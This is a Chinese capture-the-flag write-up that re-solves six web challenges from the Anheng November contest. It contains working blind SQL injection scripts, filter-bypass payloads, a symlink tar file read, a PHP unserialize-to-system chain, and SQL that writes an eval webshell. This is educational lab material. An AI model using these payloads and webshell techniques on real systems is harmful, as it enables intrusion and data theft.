安恒11月赛Web题目复现

考完网络安全跟算法就赶紧来复现一下题目,又学到了一波知识了23333,这次题目的质量贼好

手速要快

上一个月的原题,不多说,直接在http头里面找到对应的password登陆以后直接就是关于页面上传的功能,这里的上传是服务器端的问题
直接上传一个非php结尾的文件即可解析
FmMnPS.md.png
然后可以直接输入相关命令获取flag不多说
FmMMvj.png

FmM1rn.md.png

好黑的黑名单

这个题目质量很好,至少我以前都没见过这种盲注,里面利用了between的几个特性,又学到了2333
右键查看源代码就会发现很明显的id参数,这里的思路就是SQL注入
FmM3bq.png
尝试对其进行注入,发现其明显是存在过滤的,一旦遇到关键字就会返回这么坏?想让我下面给你吃吗?XD的字样
如果查询不到的话就会返回想让我下面给你吃?
fuzz一下大概发现过滤的东西有空格,*,union,单引号等等,所以我们就不可以用内联的注入,这里空格我们可以用%0a去绕过,测试一下
FmQ9oV.md.png
下面就是这次盲注的重点知识利用between and
FmQFWF.png
上面两个执行语句就解释了为什么可以这样做,当select的值在between之间就会返回1,而且前面选择出来的词语会按照顺序匹配,第一个匹配正确的话就会匹配第二个
FmQkz4.png
而且还可以固定好最后一位,然后前面一步步去字母给找出
FmQVy9.png
但是把数据库跑出来以后后面继续加上空格还是会显示1,这在写脚本的时候得注意一下,还有几点得注意下,单引号过滤掉可以使用16进制,另外information_schema.tables被过滤可以使用information_schema%0a.tables这样去绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/python
# Author:0verWatch


import requests

burl = 'http://101.71.29.5:10008/show.php?id=-1'

flag = 0
ans = ''
result = ''



for i in range(40):
if flag == 0:
for j in range(127,32,-1):
if j == 33:
flag = 1
#payload = '%0aor%0a(select%0adatabase()%0abetween%0a0x'+result+hex(j)[2:4]+'%0aand%0a0x7a)' #web
#payload = '%0aor%0a(select%0a(select%0agroup_concat(table_name)%0afrom%0ainformation_schema%0a.tables%0awhere%0atable_schema%0abetween%0a0x776562%0aand%0a0x776562)%0abetween%0a0x'+result+hex(j)[2:4]+'%0aand%0a0x7a)' #admin,flaggg,menu
#payload = '%0aor%0a(select%0a(select%0agroup_concat(column_name)%0afrom%0ainformation_schema%0a.columns%0awhere%0atable_name%0abetween%0a0x666c61676767%0aand%0a0x666c61676767)%0abetween%0a0x'+result+hex(j)[2:4]+'%0aand%0a0x7a)' #id,f1agg
payload = '%0aor%0a(select%0a(select%0af1agg%0afrom%0aflaggg)%0abetween%0a0x'+result+hex(j)[2:4]+'%0aand%0a0x7a)'
url = burl+ payload
con = requests.get(url)
# print(con.text)
if u"郑州" in con.text:
ans = ans + chr(j)
print(result)
result = result + hex(j)[2:4]
break

print(ans)

愉快地拿到flag
FmQndx.md.png

interesting web

这个题目上来就发现有注册,登录,找回密码的功能,通常我们需要注册看一下
登陆之后发现上传页面,但是根据页面一开始提示说明管理员才可以上传tar包,这里就容易想到软连接,但是首先我们得以admin身份登录,这时候根据http可以发现这应该是flask框架写的web
FmQlWD.png

这里有一个点就是flask框架的session可以在浏览器端查看,并且可以读取里面的token值,
FmQGyd.md.png
这东西可以利用在找回密码的功能上面
FmQJOA.md.png
这里面的token值我们可以用来直接修改admin的密码,这东西恰好就是修改密码需要的东西
然后再以admin身份登录,上一个软连接的tar包,先构造一下tar包

1
2
ln -s /etc/passwd 2222222.jpg
tar cvfp 233.tar 2222222.jpg

上传后tar包解压,然后curl一下该图片地址获取flag
FmQDSg.md.png

flag{5be43c58a33a867cb11975587f8edf33}

image up

一上来就是个登录页面其实这个登录页面没有用,你随便输如都可以登录到后台上传页面
FmQgwq.md.png
可以看到url,可能存在文件包含,尝试一下读取文件,可以读到一下index以及upload页面
http://101.71.29.5:10007/index.php?page=php://filter/read=convert.base64-encode/resource=index
http://101.71.29.5:10007/index.php?page=php://filter/read=convert.base64-encode/resource=upload

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<? php
if (isset($_GET['page'])) {
if (!stristr($_GET['page'], "..")) {
$page = $_GET['page'].".php";
include($page);
} else {
header("Location: index.php?page=login");
}
} else {
header("Location: index.php?page=login");
这里的代码验证不需要任何检验就可以登录

<? php $error = "";
$exts = array("jpg", "png", "gif", "jpeg");
if (!empty($_FILES["image"])) {
$temp = explode(".", $_FILES["image"]["name"]);
$extension = end($temp);
if ((@$_upfileS["image"]["size"] < 102400)) {
if (in_array($extension, $exts)) {
$path = "uploads/".md5($temp[0].time()).".".$extension;
move_uploaded_file($_FILES["image"]["tmp_name"], $path);
$error = "????????????!";
} else {
$error = "???????????????";
}
} else {
$error = "??????????????????????????????";
}
} ?>

从文件上传的而这段代码也很容易看,就是文件名加上时间戳然后再MD5拼接成新的文件名,这两个东西我们可以进行预测
自己本地新建一个over.php
里面的内容

1
2
3
4
5

<?php
phpinfo();
@eval($_POST['_']);
?>

把该文件压缩,然后改后缀名为.jpg的图片文件,接着就该预测路径名字并使用伪协议
这里很坑,有个时区的问题加上8*3600

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# -*- coding: UTF-8 -*-
import time
import requests
import hashlib

url = "http://101.71.29.5:10007/"
def md5(str):
m = hashlib.md5()
m.update(str)
return m.hexdigest()
files = {
"image":("over123.jpg",open("over.jpg","rb"))
}
#print open("over.jpg","rb")
t = int(time.time()+8*3600)
requests.post(url=url+"upload.php",files=files)
for i in range(t-100,t+150):
path = "uploads/"+md5("over123"+str(i))+".jpg"
#print 'Waiting'
status = requests.get(url=url+path).status_code
if status ==200:
print path
break

爆出路径
uploads/cf0dd54323ba204f8151905e912964c1.jpg
最后的关键点是利用伪协议进行命令执行,这里同样的也可以使用phar,关键是把%23改为/就好,注意这里不需要对文件加上相关的后缀
http://101.71.29.5:10007/index.php?page=zip://./uploads/cf0dd54323ba204f8151905e912964c1.jpg%23over
FmQfYT.md.png
得到flag
FmQo6J.md.png
flag{3809f2ce999b4d99c8051e285505a014}

ezsql

这一题质量很好哇,考了SQL注入读取文件,反序列化,命令行执行的绕过

先看看注入点,这里注册进去之后在用户信息里面明显看到id参数,这里就可以测试一下,这里通过这次两个题目的注入,可以学到到先要根据数据库返回的信息来做出自己的判断,比如查到会回显什么,查不到又会回显什么,语法错误又会回显什么等等,根据这个东西去做出判断应该作何注入

这里还有一个点也是学到的就是怎么测试他是用替换还是删除来过滤黑名单,我们只需要再注册的地方放输入类似select之类的关键字就会在用户页面发现被替换成@。下一个题目也是类似的道理。

这一个题可以有两种构造布尔盲注的思路一种是利用limit,另一种是用加减号等运算符号,这里同样是很好的学习点

可以来构造SQL读文件的语句了
这里这样构造http://101.71.29.5:10015/user/user.php?id=1-1根据这里的减1还是减0去判断是否存在我们猜测的文件
首先得了解一下当数据库里面secure_file_priv的值是空的话,就可以读取任意文件
FmlRud.png
开始构造语句
http://101.71.29.5:10015/user/user.php?id=1-(load_file('/var/www/html/index.php') like '<%')
但是不能出现引号16进制转一下
http://101.71.29.5:10015/user/user.php?id=1-(load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870) like 0x3c25)
又因为读文件的时候会出现换行等问题而不能全读取因此将loadfile的内容16进制转一下
http://101.71.29.5:10015/user/user.php?id=1-(hex(load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870)) like 0x3c25)

模仿着写一个脚本,这里有点不明白的是为什么这里的脚本传进去的字符已经是16进制字符为毛还得hex一次?除了那个%确实需要16进制转一下,但是我试了一下不hex的话不能跑出来,有大佬告诉一下我原因吗23333.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/python
# Author:0verWatch
# coding:utf-8


import requests
import binascii
import string

hex_s = lambda s:binascii.hexlify(s)
s = 'ABCDEF' + string.digits
filename = '/var/www/html/index.php'
#filename = '/var/www/html/config/waf.php'
ans = ''
url = 'http://101.71.29.5:10015/user/user.php?id=2-if(hex(load_file(0x%s)) like 0x%s,1,2)'

for i in xrange(10000):
for j in s:
payload = ans + j + '%'
_url = url % (hex_s(filename),hex_s(payload))
#print _url
con = requests.get(_url, cookies={"PHPSESSID":"vn7dm5pk3dqvicrkg43om69hi0"})
if '2018' in con.content:
print '...'+payload
ans = ans + j
break

然后得到index.php的关键代码

1
2
3
4
5
6
7
8
<?php 
require_once('config/sys_config.php');
require_once('header.php');
if(isset($_COOKIE['CONFIG'])){
$config = $_COOKIE['CONFIG'];
require_once('config/config.php');
}
?>

再去读取config.php里面的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
$config = unserialize(base64_decode($config));
if(isset($_GET['p'])){
$p=$_GET['p'];
$config->$p;
}
class Config{
private $config;
private $path;
public $filter;
public function __construct($config=""){
$this->config = $config;
echo 123;
}
public function getConfig(){
if($this->config == ""){
$config = isset($_POST['config'])?$_POST['config']:"";
}
}
public function SetFilter($value){
// echo $value;
$value=waf_exec($value);
var_dump($value);
if($this->filter){
foreach($this->filter as $filter){


$array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value);
}
$this->filter = array();
}else{
return false;
}
return true;
}
public function __get($key){
//var_dump($key);
$this->SetFilter($key);
die("");
}
}

还有一个waf.php,对上面的$value值进行了过滤,这里对命令执行的一些常用语句进行了过滤,所以我们需要进行绕过

1
2
3
4
5
6
7
8
9
10
11
12
<?php
function waf($str){
$black_str = "/(and|into|or|union|sleep|select|substr|order|left|right|order|by|where|rand|exp|updatexml|insert|update|dorp|delete|[|]|[&])/i";
$str = preg_replace($black_str, "@@",$str);
return addslashes($str);
}
function waf_exec($str){
$black_str = "/(;|&|>|}|{|%|#|!|\?|@|\+|\/| )/i";
$str = preg_replace($black_str, "",$str);
return $str;
}
?>

这里的关键是分析config.php里面的代码,一看里面存在unserialize这样的东西,就应该考察的是反序列化,但是这里考的点不是魔法函数,因为构造函数里不存在可以利用的点,但是在SetFilter这个方法里面存在call_user_func这样的回调函数,这个函数第一个参数你想要执行的函数名,第二个参数是要传进去该函数的参数,这里就可以去执行命令
先构造类

1
2
3
$over  = new Config();
$over->filter = array("system");
echo base64_encode(serialize($over));

现在的关键点是对$value赋值,这个东东通过 SetFilter这个方法去传参,往上是通过__get去调用的
这个函数的功能是可以调用类里面的私有变量,也可以使用未定义的变量进行赋值,然后config参数是通过cookie传参的,把构造好的序列化放进cookie里面

1
CONFIG=Tzo2OiJDb25maWciOjM6e3M6MTQ6IgBDb25maWcAY29uZmlnIjtzOjA6IiI7czoxMjoiAENvbmZpZwBwYXRoIjtOO3M6NjoiZmlsdGVyIjthOjE6e2k6MDtzOjY6InN5c3RlbSI7fX0=

尝试ls命令,出现flag字样的东东,但其实这是个文件夹,可以用ls -l 查看一下
FmlI4f.md.png

但是因为空格被过滤了,用$IFS绕过,同样地/也被过滤了同样需要绕过,这里用expr substr $(pwd) 1 1去绕过
注意这里面的空格也得变成$IFS,但是直接变成expr$IFSsubstr$IFS$(pwd)$IFS1$IFS1也不行,因为系统辨别出不出,会出现这样的结果
FmlbvQ.png
所以得用\分割一下
FmlLuj.png
得到路径下存在flag.php

1
string(54) "ls$IFS.`expr$IFS\substr$IFS$(pwd)$IFS\1$IFS\1`flag2333" flag.php

开始尝试读取文件了

1
http://101.71.29.5:10015/index.php?p=cat$IFS.`expr$IFS\substr$IFS$(pwd)$IFS\1$IFS\1`flag2333`expr$IFS\substr$IFS$(pwd)$IFS\1$IFS\1`flag.php

获得flag
FmlXbn.md.png
flag{d6e29836ea0e962b0b00c3bf9292b5ad}

write a shell

这一题也是要测试出来可以用loadfile读文件,先把文件读出来,写了个脚本读文件,读的是user.php的页面源码,前提是得有超过127的用户注册才可以很顺利地读取源码,如果不够可以自己写个脚本跑一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/python
# Author:0verWatch
# coding:utf-8


import requests
import re
url = "http://101.71.29.5:10011/user/user.php?id=ascii(mid(load_file(0x2f7661722f7777772f68746d6c2f757365722f757365722e706870),{_},1))"
con = ''

for i in xrange(1,100000):
ans=requests.get(url.format(_=str(i)),cookies={'PHPSESSID':'bvbjr3qjrktp6qfn393f6itso0'})
s = re.findall(r"<h1>user_id:(.*?)</h1>",ans.content)
con = con+chr(int(s[0]))
print con

读出来一部分关键代码是这样子的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
include_once('../bwvs_config/sys_config.php');

if (isset($_SESSION['user_name'])) {
include_once('../header.php');
if (!isset($SESSION['user_id'])) {
$sql = "SELECT * FROM dwvs_user_message WHERE user_name ="."'{$_SESSION['user_name']}'";
$data = mysqli_query($connect,$sql) or die('Mysql Error!!');
$result = mysqli_fetch_array($data);
$_SESSION['user_id'] = $result['user_id'];
}

$html_avatar = htmlspecialchars($_SESSION['user_favicon']);


if(isset($_GET['id'])){
$id=waf($_GET['id']);
$sql = "SELECT * FROM dwvs_user_message WHERE user_id =".$id;
$data = mysqli_multi_query($connect,$sql) or die();
do{
if($result = mysqli_store_result($connect)){
$row = mysqli_fetch_row($result);
echo '<h1>user_id:'.$row[0]."</h1><br><h2>user_name:".$row[1]."</h2><br><h3>

同样的道理我们可以把bwvs_config/waf.php里面的内容读出来,可以看到过滤的内容

1
2
3
4
5
6
7
8
9
<?php
function waf($str){
$black_str = "/(and|or|union|sleep|select|substr|order|left|right|order|by|where|rand|exp|updatexml|insert|update|dorp|delete|[|]|[&]|\^)/i";
$str = preg_replace('/@/','@-@',$str);
$str = preg_replace($black_str, "@",$str);
return addslashes($str);
}

?>

题目提示要写shell,就需要找可以写shell的文件路径,但得找到具有写权限的文件夹才可以执行,这里的关键点是利用这段代码mysqli_multi_query的多行执行语句去执行相关的写操作。
这里涉及到一个新的知识点,就是SQL的预编译语句,通过定义变量名的方式,用execute语句去执行相关操作
预制语句的SQL语法基于三个SQL语句:

1
2
3
4
5
PREPARE stmt_name FROM preparable_stmt;

EXECUTE stmt_name [USING @var_name [, @var_name] ...];

{DEALLOCATE | DROP} PREPARE stmt_name;

在自己机子上试一下
Fm1Mxe.md.png
因此可以来构造一下语句PREPARE over FROM "select * from ….";但是waf里面很明显就是过滤了select我们需要去绕过一下还有单双引号都被转义,这就需要char()以及concat()函数的协助了,也可以正常显示
Fm1GVI.md.png
下面就到使用into outfile的时候了,但还是得先找到那一个目录可以写文件,这里面我们还有一个上传的功能点没用到,一般上传的话我们需要开启写的权限,你自己写一次上传的代码就会知道,如果没有写权限的话,就会使服务器报错,所以图片保存的地方就应该是可以目录,可以查看图像的目录放在哪
Fm1YIP.png
在这一个目录下,这样我们就基本确定shell该放在哪里,这里的话其实还有一个点就是网站目录要怎么显示,可以利用show variables like ‘secure_file_priv%’;去查看对应的信息,如果是空的话说明哪里都可以读或者写目录了,根据user.php里面的代码可以知道执行之后会显示1,2,5列,所以我们可以将这个语句转化一下就可以知道那个目录可以写了,这样比猜靠谱多了。。。。
Fm1aRS.md.png

现在就可以构造一下语句了

1
"select '<?php eval($_POST[cmd]);?>' into outfile '/var/www/html/favicon/over.php'"

把双引号里面的东西转一下

1
2
3
SET @b=concat(CHAR(115, 101, 108, 101, 99, 116, 32, 39, 60, 63, 112, 104, 112, 32, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 99, 109, 100, 93, 41, 59, 63, 62, 39, 32, 105, 110, 116, 111, 32, 111, 117, 116, 102, 105, 108, 101, 32, 39, 47, 118, 97, 114, 47, 119, 119, 119, 47, 104, 116, 109, 108, 47, 102, 97, 118, 105, 99, 111, 110, 47, 111, 118, 101, 114, 46, 112, 104, 112, 39));
PREPARE s from @b;
EXECUTE s;

但是这样还是不行,因为@会被替换成@-@,所以得利用黑名单的替换功能把@变成黑名单里面的东西,经过黑名单替换后就会变成@啦

1
2
3
SET ^b=concat(CHAR(115, 101, 108, 101, 99, 116, 32, 39, 60, 63, 112, 104, 112, 32, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 99, 109, 100, 93, 41, 59, 63, 62, 39, 32, 105, 110, 116, 111, 32, 111, 117, 116, 102, 105, 108, 101, 32, 39, 47, 118, 97, 114, 47, 119, 119, 119, 47, 104, 116, 109, 108, 47, 102, 97, 118, 105, 99, 111, 110, 47, 111, 118, 101, 114, 46, 112, 104, 112, 39));
PREPARE s from ^b;
EXECUTE s;

然后找到favicon/over.php直接菜刀连接就可以了
Fm3nwn.md.png
flag{f6c5acfd4192b4152661d19b411d2d63}

小结

这里就简单小结一下:
1.python flask的session机制问题,可以利用其构造管理员身份登录
2.构造软连接去读取文件内容
3.注入点如何构造逻辑,如何测试通过注册页面探测过滤字符以及过滤方式
4.利用伪协议读取文件,并且如何利用伪协议进行命令执行
5.PHP反序列化里面的__get()方法起到的作用,如何去使用它对可控变量赋值
6.利用SQL注入读写文件的前提,如何查看
7.命令执行以及SQL注入绕过的一些小trick


听说,打赏我的人最后都成了大佬。



文章目录
  1. 1. 手速要快
  2. 2. 好黑的黑名单
  3. 3. interesting web
  4. 4. image up
  5. 5. ezsql
  6. 6. write a shell
  7. 7. 小结